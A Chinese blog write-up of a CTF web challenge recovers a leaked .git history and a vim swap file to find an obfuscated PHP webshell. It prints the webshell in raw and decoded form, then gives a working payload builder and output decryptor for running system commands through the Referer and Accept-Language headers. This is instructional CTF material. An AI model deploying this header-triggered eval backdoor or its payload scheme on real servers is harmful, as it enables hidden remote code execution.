i春秋 “百度杯”CTF比赛 十月场 Backdoor

原创

「已注销」 于 2018-09-20 08:30:11 发布 2288 收藏 1

分类专栏： i春秋

友链：https://cutt.ly/7777aaaa

本文链接：https://blog.csdn.net/include_heqile/article/details/82780802

https://www.ichunqiu.com/battalion?t=1&r=0

这道题应该是我目前遇到的最有难度的一道题了，不过解题过程很有意思

首先还是进入题目链接，根据题目提示去查看网站目录下的**敏感文件**，我尝试了`flag.php`，但并未得到有价值的提示，然后我们再尝试一下敏感目录，当我在`Challenges`下输入`.git`的时候，出现了`403 Forbidden`错误，说明网站中存在该目录，网上查询`.git`目录的目录结构，然后在题目链接中尝试了各种文件，但还是毫无头绪，最后还是看了`write up`，才知道要使用`githack`这款工具来下载网站`.git`目录下的所有文件，然后使用`git`的版本控制功能来回滚到某一版本，使用`git reset --hard 版本号`，（**注意，此命令应该在得到的`.git`目录下执行**）版本号可以在此文件中得到：

```
http://584d618ceeff4dbf825dc1f934c34b531faebf24434c4031.game.ichunqiu.com/Challenges/.git/logs/HEAD
```

那些很长的字符串就是版本号：

```
0000000000000000000000000000000000000000 25a4a898b1a45412a538a7baa868bc406c1d8ba9 tmp <tmp@tmp.tmp> 1474001718 +0800    commit (initial): added web app
25a4a898b1a45412a538a7baa868bc406c1d8ba9 734d08bfd094afa3372b997bf1c71412c1afc7d9 tmp <tmp@tmp.tmp> 1474001924 +0800    commit: edit flag.php
734d08bfd094afa3372b997bf1c71412c1afc7d9 1556a1d651526780ecd22db22681619e4ce6aa4b tmp <tmp@tmp.tmp> 1474001931 +0800    commit: edit flag.php
1556a1d651526780ecd22db22681619e4ce6aa4b 494a75f8b3c397e8da52e3ff82ddc4bf1bc47f17 tmp <tmp@tmp.tmp> 1474002467 +0800    commit: edit flag.php
494a75f8b3c397e8da52e3ff82ddc4bf1bc47f17 12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 tmp <tmp@tmp.tmp> 1474002593 +0800    commit: test
12c6ddf4af0a5542c1cf6a9ab19b4231c1fd9a88 da06087a0b893ddb6b6c857e53ce4387c96785ab tmp <tmp@tmp.tmp> 1474002796 +0800    commit: edit flag.php
da06087a0b893ddb6b6c857e53ce4387c96785ab abbbdcc032c8e76087f2daf593f423f74857b0cf tmp <tmp@tmp.tmp> 1474002981 +0800    commit: add robots.txt
```

经过回滚之后我们，就可以得到之前版本的`flag.php`，查看内容：

```
<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>
```

我们顺藤摸瓜，访问`b4ckdo0r.php`文件，出现页面：

```
can you find the source code of me?
```

源代码中也无任何提示，既然是文件泄露，我们就尝试`b4ckdo0r.php.swo`和`b4ckdo0r.php.swp`文件，这两个都是`vim`在编辑过程中产生的缓存文件，果然找到了`b4ckdo0r.php.swo`，我们直接使用`vim`的`-r`选项恢复该文件

回车即可得到`b4ckdo0r.php`的内容，将内容拷贝至`b4ckdo0r.php`文件中（需要我们自己在下载下来的网站根目录下手动创建），查看文件内容：

```
<?php
echo "can you find the source code of me?";
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_en
d_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestro
y();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=pars
e_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(ar
ray("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_
SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$
f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0
){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.
$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(
?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$
sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$
i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */
?>
```

第一眼看上去很乱，但是稍微看一下，就会发现这其实是把字符串放到了变量中而已，我们修改源代码，输出`$y`和`$L`即可知道源代码到底是怎么回事了，这个输出操作也需要在网站目录中执行`php b4ckdo0r.php`（就是我们使用`githack`）下载下来的网站目录，如果在本地环境中执行的话，会有一部分代码显示不出来，具体原因我也不太清楚，在本地环境中输出的时候，代码的最后是一个变量`$d`，但是源代码中之前并没有出现过`$d`，怀疑是其他文件中的变量，但是在源代码中也没有发现`require`或者`include`关键字，因此我也没有想明白是怎么回事

```
<?php
$kh="4f7f";
$kf="28d7";
function x($t,$k)
{
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0; $i<$l;)
    {
        for($j=0; ($j<$c&&$i<$l); $j++,$i++)
        {
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra)
{
    $u=parse_url($rr);
    parse_str($u["query"],$q);
    $q=array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m)
    {
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];
        $h=$sl($ss(md5($i.$kh),0,3));
        $f=$sl($ss(md5($i.$kf),0,3));
        $p="";
        for($z=1; $z<count($m[1]); $z++)$p.=$q[$m[2][$z]];
        if(strpos($p,$h)===0)
        {
            $s[$i]="";
            $p=$ss($p,3);
        }
        if(array_key_exists($i,$s))
        {
            $s[$i].=$p;
            $e=strpos($s[$i],$f);
            if($e)
            {
                $k=$kh.$kf;
                ob_start();
         //重点是这一行，可以执行命令的哟
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],
0,$e))),$k)));
                $o=ob_get_contents();
```

```
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
```

这个就是`$L`的内容，`$y`是`create_function`，就是创建一个方法，方法体就是`$L`，因此我们只要看懂`$L`是在干什么就行了

`function x`就是讲两个参数进异或运算，将结果返回，这个的加解密是很简单的，因为异或运算就是有这样的特性
很明显的，我们的突破点就是`HTTP`头部中的两个字段`Accept-Language`和`Referer`

通过输出中间结果我们知道代码中的`preg_match_all`函数，把`Accept-Language`分成了三部分，也就是包含了三个数组的数组，在本题中我们只关心`m[1]`和`m[2]`，因为代码中用到了这两个数组
代码中的这两个部分限制了我们必须要把`$p`的前3个字符和最后3个字符限定为`$h`和`$f`，

```
if(strpos($p,$h)===0)
{
    $s[$i]="";
    $p=$ss($p,3);
}
echo $p;
if(array_key_exists($i,$s))
{
    $s[$i].=$p;
    $e=strpos($s[$i],$f);
    if($e)
```



```
$i=$m[1][0].$m[1][1];
$h=strtolower(substr(md5($i.$kh),0,3));
$f=strtolower(substr(md5($i.$kf),0,3));
```

`m[1]`数组中存的是`Accept-Language`中语言的首字母，顺便解释一下，语言后面的小数，它代表相应语言的权重，`1`为最大值，`m[2]`数组中存的就是小数点后的那一个数字，我们可以通过控制这个数值来操控`$p`的值，因为是从`$q`中取值，因此我们的`payload`就可以直接放在`$q`中，然后通过`$p.=$q[$m[2][$z]]`将`payload`放到`$p`中，因为`$z`是从`1`开始的，所以我们要保证`count($m[1])`的值至少为`2`，所以在构造`Accept-Language`字段的时候，我们可以构造出两种语言，而且第二个语言的权重值为`0.1`，这样就会把`$q`数组中索引为`1`的元素放到`$p`中

自然而然地，我们在构造`$q`的时候，只需要有两个元素就行了，第一个元素是填充的，因为派不上用场，所以它的值随意，第二个元素就应该是我们的`payload`了

```
php$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
```

我把源码中处理`$q`的代码放到了一起，他就是把`Referer`字段中的`url`中的查询部分的值取出来做成了一个数组
`query`部分其实就是`url`中的参数部分，如下：
`http://test.test.com/?a=1&b=2`
最终`$q`中存放的就是`[0] => "1", [1] => "2"`，而我们要做的就是把`"2"`替换成我们的`payload`，最后就可以进入到`eval`函数中，执行我们想要执行的代码了

下面给出`payload`的构造代码，以及输出结果的解密代码

```
<?php
function x($t,$k)
{
 $c=strlen($k);
 $l=strlen($t);
 $o="";
 for($i=0;$i<$l;)
 {
  for($j=0;($j<$c&&$i<$l);$j++,$i++)
  {
   $o.=$t{$i}^$k{$j};
  }
 }
 return $o;
}

$key="4f7f28d7";

$cmd = 'system("cat this_i5_flag.php");';
$o=x(gzcompress($cmd), $key);
$payload=base64_encode($o);
//其实我感觉这一刚代码有没有都无所谓，这只是把 / 和 + 替换成 _ 和 -，如果本来就有 _ 和 - 的话，在b4ckdo0r.php中还是会被替换掉，导致结果错误，但是本题中没有这种情况，因为一共就执行了两条命令，且使用base64加密之后并未出现 _ 和 - 字符
preg_replace(array("/\//","/\+/"),array("/_/","/-/"), $payload);
echo "675".$payload."a3e";

echo "<br />";

$output='TPqE1x3wTNfRNH6te3Qzh2E2MLfnHu1Rvc+x7xuCcn6ioI1ANP4tjb3v8U+IXsIRsvDRDxu+4iHS092wjmSSQWhmVzQjBQ==';
$o=x(base64_decode($output),$key);

echo gzuncompress($o);
```

就是简单的逆向代码，不过不知道为什么我在浏览器中运行该代码的时候会出现问题，就是输出揭秘出来的是乱码，第一行是我们的`payload`，没什么问题，但第二行本应该是命令执行结果，结果却是一堆乱码

然后我把它放到了`Ubuntu`中直接使用`php`运行，输出了正确结果：

如果有谁知道原因，麻烦告诉我
???